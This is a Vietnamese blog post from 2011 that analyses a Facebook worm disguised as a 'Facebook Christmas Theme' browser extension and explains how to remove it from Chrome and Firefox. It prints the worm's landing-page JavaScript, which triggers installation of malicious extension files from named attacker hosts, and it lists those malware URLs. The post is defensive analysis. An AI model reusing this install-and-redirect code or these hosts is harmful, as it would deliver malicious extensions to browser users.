Friday, December 23, 2011

Cách gỡ bỏ ( diệt ) con FB Worm "Facebook Christmas Theme" mới (kèm thông tin RE)

Đây là biến thể mới nhất của con Facebook Worm ( hay nhiều người gọi là Facebook Virus ), cách gỡ ( diệt ) con worm này ra nằm ở cuối bài viết này, nếu bạn không phải người yêu thích kĩ thuật, chỉ muốn biết cách gỡ ( diệt ) con worm ra thì vui lòng bỏ qua đoạn phân tích dài ngoằng bên dưới mà đi thẳng đến phần cuối bài.


Link lây lan dạng:
http://j.mp/XmasTheme?hereenow 


Truy cập vào sẽ chuyển đến
-> http://biglol.in/


;--------------------- Ham kich hoat cai dat Plugin----------------------
<a onclick="instalar();" class="install nomargin"></a>
;--------------------------Noi dung ham cai dat plugin----------------------
function instalar(){
                if (is_chrome){
                    click_img();
                    window.open("http://biglol.in/fb.crx");
                } else if(is_firefox){
                    click_img();
                    var params = {
                        "Youtube Extension": {
                            URL: "http://biglol.in/firefox.xpi",
                            toString: function () { return this.URL; }
                        }
                    };
                    InstallTrigger.install(params);
                } else{
                    window.open("http://www.google.com/chrome/eula.html");
                }
            }
            if(!is_chrome && !is_firefox ){
                var id, servidor;
                id=getQuerystring("id",null);
                servidor="videozer";
                if(id!=null){
                    window.location="http://thelegendary6.com/video.php";

                }else{
                    window.location="http://thelegendary6.com/video.php";
}             
            }


;------------------------ Source bo phan lay lan---------------------
http://biglol.in/script/g.js -> http://biglol.in/script/w.js


;--------------------------- 2 Plugin virus moi------------------
Tên chung trong phần add-on sẽ là "Facebook Christmas Theme"


Chrome:
http://biglol.in/fb.crx
Firefox:
http://biglol.in/firefox.xpi

;--------------------------- Cách gỡ bỏ Virus FB biến thể Chrismas themes -----------------------
Cũng như phiên bản virus trước nhưng lần này 2 plugin cần gỡ bỏ đều có tên là "Facebook Christmas Theme"


Chrome: mở tab mới, vào phần Apps, kiếm cái plugin  "Facebook Christmas Theme" , nhấp phải chọn remove from Chrome . Xong


Chú ý: virus trong Chrome có icon trông như sau


Logo FB Worm trong Chrome

Firefox: vào Menu Tool -> add-on -> extensions -> chọn cái plugin 
"Facebook Christmas Theme"  rồi chọn Remove . Xong


Chú ý: virus trong Firefox có icon trông như sau

Logo FB Worm trong Firefox
-----------------------------
Kỷ lục mới, RE trong 10p, nhanh hơn lần trước, lần sau phấn đấu còn 5p :))

xnohat - HVAonline.net

14 comments:

  1. Khả năng lần tới RE nó mất 1p nhưng khi lây lan thì....... 50% FB Việt :))

    ReplyDelete
  2. Tớ không phải mấy anh Bờ-Cờ-A-Vê nên không có sẵn mấy cái siêu Antivirus để update :D , nên chỉ làm được cái chuyện là giúp cách gỡ chúng nó (fb worm) ra :D

    ReplyDelete
  3. mình ko hiểu RE là gì ??? ai giải thích dc ko?
    RE tốc độ load trang ah

    ReplyDelete
  4. @trung: là Reverse Engineering bạn ạ

    ReplyDelete
  5. sao em không tìm thấy cái plugin youtube nhỉ???

    ReplyDelete
  6. bạn ơi ! cho mình hỏi chrome tiếng việt thì làm thế nào vậy ?

    ReplyDelete
  7. oh, tôi xin lỗi, hướng dẫn mới này chưa cập nhật tên plugin mới của con Worm, tôi đã sửa lại.

    Rất cám ơn vì phát hiện của bạn

    ReplyDelete
  8. @Ngọc: nếu chrome tiếng việt:
    B1: click vô cái cờ-lê trên góc phải của chrome
    B2: Chọn "công cụ"
    B3: Chọn "tiện ích mở rộng"
    B4: tìm cái biểu tượng ông già noel như trong bài viết, chọn "Xóa" ở bên phải.
    B5: Reset lại Chrome là ok.
    Good luck

    ReplyDelete
  9. Tại hạ là dân i-tờ, nhưng gà quá. pro cho hỏi làm sao lấy đc mấy đoạn code của mấy con worm-virus này thế?
    thanks nhiều!

    ReplyDelete
  10. hic. chờ mãi mà không thấy pro reply chi cả.
    khi nào pro đọc dc cái cm này thì nhờ pro reply vô gmail của tại hạ nghe:
    monster.nva@gmail.com
    thkx

    ReplyDelete
  11. Ai mà ko thấy thì Click vào cái cờ-lê -> Tools -> Extensions -> Rồi remove/ uninstall là xong.
    P.s : Google Chrome nhá

    ReplyDelete

Quí đọc giả đọc xong, nếu thấy chút thú vị thì tác giả cũng mong được chút comment lấy làm kích lệ